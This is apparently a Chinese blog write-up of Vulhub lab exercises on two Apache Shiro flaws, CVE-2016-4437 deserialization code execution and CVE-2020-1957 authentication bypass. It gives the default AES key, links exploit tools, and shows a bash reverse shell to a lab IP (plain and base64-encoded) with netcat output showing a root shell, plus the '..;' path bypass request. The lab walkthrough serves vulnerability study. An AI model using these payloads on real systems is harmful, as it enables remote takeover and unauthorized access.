Vulhub 漏洞学习之:shiro

Vulhub 漏洞学习之:shiro

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

1 Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会将用户信息加密。加密过程: 用户信息->序列化->AES加密->base64编码->RememberMe Cookie值。如果用户勾选记住密码,那么在请求中会携带cookie,并且将加密信息存放在cookie的rememberMe字段里面,在服务端收到请求对rememberMe值,先base64解码然后AES解密再反序列化,这个加密过程如果我们知道AES加密的密钥,那么我们把用户信息替换成恶意命令,就导致了反序列化RCE漏洞。在shiro版本<=1.2.4中使用了默认密钥kPH+bIxk5D2deZiIxcaaaA==,这就更容易触发RCE漏洞。

1.1 环境安装

docker-compose up -d
  • 服务启动后,访问http://your-ip:8080可使用admin:vulhub进行登录。

1.2 漏洞利用过程

  1. 如何确认Shiro框架
    1. 未登录的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
    2. 登录失败的话,不管有没有勾选RememberMe字段,返回包都会有 rememberMe= deleteMe 字段
    3. 不勾选RememberMe,登录成功的话,返回包set-Cookie里有 rememberMe= deleteMe 字段。但是之后的所有请求中cookie都不会有RememberMe字段
    4. 勾选RememberMe,登录成功的话,返回包set-Cookie里有 rememberMe= deleteMe 字段,还会有remember 字段,之后的所有请求中cookie都会有RememberMe字段
    5. 可以在cookie后面自己加一个 rememberMe= 1 ,看返回包有没有 rememberMe= deleteMe
  2. exphub/shiro-1.2.4_rce.py at master · zhzyker/exphub · GitHub命令->序列化->AES加密->base64编码=>RememberMe Cookie值
  3. GitHub - SummerSec/ShiroAttack2: shiro反序列化漏洞综合利用,包含(回显执行命令/注入内存马)修复原版中NoCC的问题 https://github.com/j1anFen/shiro_attack

1.3 GetShell

  1. 检测到密钥后,可直接反弹shell

    Shell >>> bash -i >& /dev/tcp/192.168.50.2/2333 0>&1
    [+] [Linux] Base64 Command: bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}
    [+] Command Send Succes, Please Check (No Echo)
    
    ┌──(root㉿kali)-[~]
    └─# nc -nvlp 2333                  
    listening on [any] 2333 ...
    connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 37514
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@7e447aeabd87:/# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@7e447aeabd87:/# 
    
  2. ShiroAttack2:检测出来后,在命令执行中执行:

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}
    
    ┌──(root㉿kali)-[~]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 37518
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@7e447aeabd87:/# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@7e447aeabd87:/#
    

2 Apache Shiro 认证绕过漏洞(CVE-2020-1957)

在Apache Shiro 1.5.2以前的版本中,Spring Boot中使用Apache Shiro进行身份验证、权限控制时,攻击者通过构造..;这样的跳转,利用Apache Shiro和Spring Boot对URL的处理的差异化,以绕过Apache Shiro对Spring Boot中的Servlet的权限控制,越权并实现未授权访问。

参考链接:

2.1 环境安装

docker-compose up -d
  • 环境启动后,访问http://your-ip:8080即可查看首页。

  • 这个应用中对URL权限的配置如下:

    @Bean
    public ShiroFilterChainDefinition shiroFilterChainDefinition() {
        DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
        chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
        chainDefinition.addPathDefinition("/logout", "logout");
        chainDefinition.addPathDefinition("/admin/**", "authc");
        return chainDefinition;
    }
    

2.2 漏洞利用过程

  1. 直接请求管理页面/admin/,无法访问,将会被重定向到登录页面:

    image-20230418154549337

  2. 构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面:

    image-20230418154718984

posted @ 2023-04-22 19:32  f_carey  阅读(247)  评论(0编辑  收藏  举报